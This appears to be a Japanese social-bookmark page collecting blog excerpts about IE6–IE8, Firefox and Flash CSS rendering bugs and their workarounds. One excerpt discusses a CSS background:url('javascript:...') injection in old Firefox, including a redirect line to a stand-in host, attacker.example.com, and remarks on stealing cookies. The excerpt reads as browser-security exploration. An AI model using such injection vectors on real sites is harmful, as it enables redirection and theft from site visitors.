これってIE8の不具合なんじゃね・・・？文字の大きさが勝手に変化するよ？
特別な仕掛けをしている訳じゃありません。ごく一般的なcss+xhtmlです。 上記は作動確認テスト文章。本文は以下。 当方、5月6日よりIE8にアップグレードし使用しています。 とりあえずWEB表示形式がWeb標準モードがデフォルトになり、これは嬉しい。 Firefox、Opera、GoogleChromeなどとほぼ同じWeb表示が出来るようになり（各ブラウザ微妙に違うけど）サイトのレイアウトを修正するのは今後楽になりそうです。 Javascriptの表示も随分高速化され、これも良いカンジ。 、、、、が、何か違和感がある。絶対おかしい。。。 時々、閲覧しているサイトが微妙に動く。ピクピクしてます。なにこれ('Α`) IE8を使用していると、時々文字の大きさが勝手に変化します。サイトによっては、閲覧者が混乱するくらい文字が暴れ回ります。 特に、AdSense広告やMicroAdの468X60
IE8における拡大縮小バグ
IE8における拡大縮小バグ 先日リリースされたIE8だが、多くのバグを含んでおり、まだまだWEB製作者を悩ませそうです。 (追記)Firefox3でも発生しますね。検証不足でした。 例えば、私が見つけたのは拡大縮小に関するバグ。(文字ではなくズームによる) ul{ margin:10px; width:600px; border:1px blue solid; } ul li{ list-style-type:none; margin:2px; border:1px red solid; width:194px; height:194px; float:left; display:inline; } サンプル などのようにリスト要素を利用して表状の形態を表現した際、通常は以下のように表示される。 IE8 100%で表示。 これを95%に変更すると以下のようになる。 IE8 95%で表示。
input要素などにおけるIEのバグ
input要素などにおけるIEのバグ ちょっと、はまったのでメモ書き IE6やIE7では、margin-leftとwidthが指定されたブロックレベル要素内の行ボックスの先頭にinput要素やtextarea要素がある場合、適切な位置に配置されないというもの。 select要素などは適切に配置される。 CSS p{ margin-left:50px; width:100px; } HTML <p><input type="text" /></p> <p><textarea></textarea></p> <p><select><option>test</option></select></p> サンプル とりあえずmargin値で余白をとるのではなくpadding値を指定することで対応。 関連エントリー operaでのfloatの挙動 IE7でページが表示されない件について IE7用のCS
IE6のCSSバグを視覚的にチェック
てんぽ: IE6のCSSバグを視覚的にチェック CSSやHTML、FC2ブログのカスタマイズ、共有テンプレートなど IE用Acidテストとも言えるCSSバグのチェックページを作ってみました。 IE6で表示するとすべてのチェック項目で「NG」と表示されますが、正しい表示を行うブラウザなら「OK」と表示されるはずです。 IEtest (beta) 具体的にはどうやっているかというと、たとえば「position: absoluteが指定されたボックスの幅をパーセントで指定したとき、 幅の参照先を、そのボックスの包含ブロックではなく、間近の親要素にしてしまうバグ」をチェックするコードは以下のようになっています。 <div class="container"> <div class="div1"> <div class="div2"></div> </div> </div> .container {
[CSS]気をつけたいIE 7のバグ -CSS-Discuss
CSS-Discussにアップされている「IE 7 Bugs」の意訳です。 省略している箇所も多数あるので、原文も参照ください。 Internet Explorer Win Bugs - css-discuss 注意： バグには、IE7のみでなく、IE 5, 5.5, 6のものも含まれています。 公開されてから時間が経っているためか、ちょっと古いものもあります。 IEのフォントサイズのバグ フォントサイズの継承 IEの相対指定のフォントサイズの継承は、うまく機能しません。 相対指定を行う場合、emより%で指定を行う方が便利です。もし、em指定を行う場合は最初に%指定を行ってください。 例： body{ font-size: 100.01%; } ※100%の代わりに100.01%を使用するのは、Operaでの継承バグの回避のためです。 キーワード指定でのサイズ フォントサイズに「small
![[CSS]気をつけたいIE 7のバグ -CSS-Discuss](https://cdn-ak-scissors.b.st-hatena.com/image/square/bc54860ba06deaa45382cf2bddc929515def0354/height=288;version=1;width=512/https%3A%2F%2Fcoliss.com%2Fshared%2Flogo-2014050501-en.png)
私の出会ったバグ達 - ブラウザ依存 - AUSGANG SOFT
最近、Javascriptで開発していて、ブラウザ依存のバグに出会うことが多いので、実例をメモ。 原因と対策は、リンク先を参照されたし。 ifreame上のinput、textareaからキャレットが消えるバグ Windows版Firefoxで発症。 実例 ↑の場合は、背景のオーバレイDIVを消したら、治った。 Bug 226933 - Caret vanishes in input form elements over iframe - lambda {|diary| lambda { diary += 1 } }.call(hatena) http://d.hatena.ne.jp/winebarrel/20070814/p1 透明のオーバレイDIVを表示すると勝手にFlashが消えるバグ Mac版Firefoxのみ発症。 透明度が関連するので、DIVのフェードイン、フェードアウトのエ
IEで絶対配置（position:absolute）のボックスが消えるバグの検証
先日、友達の依頼で XHTML+CSS のコーディングをしていたところ、position:absolute を指定したボックスが Win版IE6 でのみ表示されないという現象に出くわしました。あちこち調べてみたところ、かなり厄介な IE のバグのようで、消えるときの条件がいろいろあることがわかったので、整理してみたいと思います。 まず最初に見つけたのが、以下のサイト。 » IEで position:absolute した要素が消えるバグ こちらで紹介されているのは、float と clear にはさまれた position:absolute が消えてしまう現象とその対策。でも、私がはまったケースでは、position:abloslute の前には float がありません。紹介されているように clear を追加してみても当然ダメ。う～ん、なぜだ・・・ 日本語のリソースを調べてみても解決策
フルスクリーンFlashとFirefoxの組み合わせで発生するバグ - hororiholy’s blog
FireFoxにはHTML4.0以外のDOCTYPE宣言を行うと100%のFlashが上の一部分しか表示されないというバグが発生します。これは FireFox2.0でも改善されていません。 http://www.adobe.com/jp/support/flashplayer/ts/documents/91d5f5d7.htm AdobeではDOCTYPE削除すれば回避できるとかいていますが、XHTMLのままで回避してる人がいました！ ここでCSS内にbodyに100%指定を行う事で解決するそうです。 uu-uu.com これと同様にこんな方法でも回避できました。 ■CSS body{ height:100%; background:#fff; } #flash{ height:100%; width:100%; position:absolute; left:0; top:0; over
hoshikuzu | star_dust の書斎 - 2007-09-18 IEではHTMLのコメントにスタイルを付加できるらしい
バージョン Firefoxの1.508ぐらいの古いもので考えてみました。 background:url("javascript:ほえほえ") background:url("javascript:ほえほえ");Firefoxでは上記のようなスタイル記述をほどこしたbody要素内の各要素で、ほえほえを安易に書いたときに、documentオブジェクトには手が出せません。つまりcookieを単純に盗み出すことが出来ないのかもしれません。権限がないというエラーメッセージが出るのです。また、JavaScriptの組み込み関数も利用できません。alert()とか。XSSされにくい感じです。windowオブジェクトにも制限がかかっているかもしれません。 でもでもでも locationオブジェクトそのものに値を設定はできます。 location="attacker.example.com";これでURLの
corns blog: Dreamweaver 8 ファイル破損事故
Dreamweaver 8はコーディング作業に欠かせないアプリケーションであるとともに、Web制作業にとっては毎日使うものだけにクセやTips研究はかかさず行っている。 今日は本当に青ざめた事故のはなし。 100ページほどのhtmlのコーディングをしていた。レイアウトに関わるコード部分は、同じディレクトリに置いたcssファイルに記述している。ある意味もっとも大切なファイルはcssファイルと言っても過言ではないだろう。 ページに修正が入るたびごとに全体の構造やレイアウトと整合性を取りながらスタイルシートを調整していく。 またスクッラッチバージョンだから、試しに定義したスタイルや仮のスタイルも記述してある。 そんな大切なスタイルシートの内容がごっそり欠損してしまった。 どこをどう開いても、エディタで開き直しても、82行目から下の行がなくなっている。 なぜこんなことが起きてしまうのか。かなり動揺
IE7 の隣接セレクタで気が付いたこと
「画像の使用を（略）CSS大会」 に応募した自分の作品を、IE7 で見てみたんですが、なぜか隣接セレクタ （E + F） がまったく適用されていないのに気がつき... 「画像の使用を（略）CSS大会」 に応募した自分の作品を、IE7 で見てみたんですが、なぜか隣接セレクタ （E + F） がまったく適用されていないのに気がつきました。 IE7 は隣接セレクタに対応してるはずなのでおかしいな、なんか自分の書き方がおかしいのかな？なんて思って、手元にある CSS をいじったりしてみたのですがまったく効果なし。何でだろうと思って HTML 文書の方を見て、何気なくソース内のコメントを削除してみたら...... 普通に適用されてる...... orz 該当する HTML ソースは下記の通り。 <div id="navigation"> <h2>Contents</h2> ...中略... </di
ウノウラボ Unoh Labs: IE6 CSS 『border-leftとpadding-bottom』の謎
こんばんは、sashaです。 次のような形のスタイルを実装しようとしていて、 実例 posted by (C)フォト蔵 IE5.5や6でこんな状況に出会ったことはありませんか？ （赤と青のボーダーは、elementの境目がわかりやすいように入れてあります） 実例バグ posted by (C)フォト蔵 どこがおかしいかお分かりになりますでしょうか。2項目目の赤と青で囲まれたテキストが、左に飛び出ていますね。その下にあるテキストまで、左にずれてます。 これは、多くのデザイナーの悩みの種である、「IE」の代表的なバグのひとつです。 このバグを再現させるのに必要なことはたったこれだけ。 「divの中にdiv」など、ブロック要素を2重にする 外側のブロック要素に、border-leftとpadding-bottomを定義する 以上。これだけでIEさんの地雷を踏めます。 以下のH
letter-spacingをマークアップする際の注意点 - Trans
body要素にletter-spacingを入れる際の注意点が分かったので、自分の備忘録としても書いておきます。 今までは、 /*\*/ letter-spacing: 0.1em; /**/というふうにbody要素に書いており、MacIEの「letter-spacingを指定した要素内の表示が崩れる」というバグをホーリーハックで防いでいました。 基本的にはこれさえ守っておけば、うまく表示されるはずなのですが、最近作ったブログではコードによっては、うまく表示されませんでした。改行しているはずの箇所が、全く改行されていない。それもWinIE6のみ。てっきり、MacIEさえ気をつけておけばOKというわけではなくて、WinIEにも配慮しなければならないよう。 では、何が問題だったのかと言いますと、br要素による改行なんですね。WinIEには「letter-spacingを指定した要素内で連続した
IEの様々なバグの真相らしきもの｜CSS HappyLife
IEには様々なバグが報告されていますよね。 もうコーダーからしたら勘弁して下さいって泣きが入りそうになるくらいに... 背景色が指定された要素内でfloatがある時、要素内の文字が消えるとか、floatに後続するmarginの値が無視されるとか、widthを指定しているとボックスの中身にfloatしている要素があっても、自動的に高さが伸びるとか。 こういったIEのバグに有効な手段として、IE6まではheight:1%を指定する事で回避したり、IE7でもwidthを指定して回避したりと色々やってると思います。 その他、IE独自拡張のzoomを使った方法なんかもあります。 今まで理由とかは分からないけど取り合えず解決するんだって事で、widthやheight、zoomを指定しておけばいいんだ。 と認識していましたが、つい先日ちょっと気になる内容をみつけましたのでご紹介。 ソレはhasLayou
drry @->Weblog - IE7 Beta 2 における XHTML の標準準拠モード切替えについて
IE7 の標準準拠モードでは CSS で position プロパティの fixed を解釈してくれるようになった。そして、IE6 のジレンマだった XML 宣言を含んだ XHTML 文書を後方互換モードで扱ってしまうバグも修正された。つまり、IE 7 からは valid な XHTML に対して position: fixed を始めとした標準準拠モードによる多くの恩恵を望むことができる。 ところが、これらの条件を満たしているにもかかわらず position: fixed を設定した要素が、viewport に固定されない。CSS の記述ミスを疑ったけれど、結局のところ原因は IE7 ( Beta 2 ) のバグだった。 XML 宣言の認識にバグがあり、XML 宣言の書き方によっては後方互換モードになってしまうのだ。具体的には、XML 宣言が "<?xml " で始まっていなければ後方互
ウノウラボ Unoh Labs: CSSで見る、IE7。
Sashaです。 MicrosoftがIE7 RC1（Internet Explorer 7 Release Candidate 1）を公開しましたね。タブ・ブラウジング? RSS? 今ドキ当たり前。タブに出ているサイトのサムネイルが一括して見れるとか、印刷するときに用紙の大きさに合わせて印刷してくれるぴったり機能とかも、「あったらいいな」的機能であったことは確かですが、ウェブデザイナーたちの興味の中心は、今まで私たちの忍耐力をギリギリまで試してきた、IEの CSSへのサポートが、どのように変化するのか、ですよね。せっかくなので、今まで長年にわたって多くの人を悩ませてきたバグたちと照らし合わせながら見ていきましょう。ちなみに、私はまだ一つ一つ検証してませんので、その解決宣言に関する信憑性には責任は負いかねます。悪しからず。 positioniseverything.net では数年前から
IE7 のバグ - 工房らくだ舎
隣接セレクタ ぶっとんだ。 なにかって、 IE7 のアホすぎる仕様に驚いた。 IE7 は隣接セレクタに対応したと謳っているが、うちのサイトではどうしても #hoge+#fuga な指定が反映してくれなかった。うちでは、以下のようにコメントをつけて、ソースを見やすくしている。 <!--~~hoge~~--> <div id="hoge"> hogehoge </div> <!--__hoge__--> <!--~~fuga~~--> <div id="fuga"> fugafuga </div> <!--__fuga__--> もしやと思って、コメントをはずしてみた。 ・・・見事に隣接セレクタが反映された。 つまり、 IE7 では、コメントを要素として扱っている・・・かどうかは確認とれていないが、いずれにしても <要素 A><!--コメント--><要素 B> の時、 要素 A + 要素 B
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
http://mynotes.jp/blog/2007/08/ie_collapses_padding_and_margin
http://mynotes.jp/blog/2007/04/text_decoration_bug
Dreamweaver
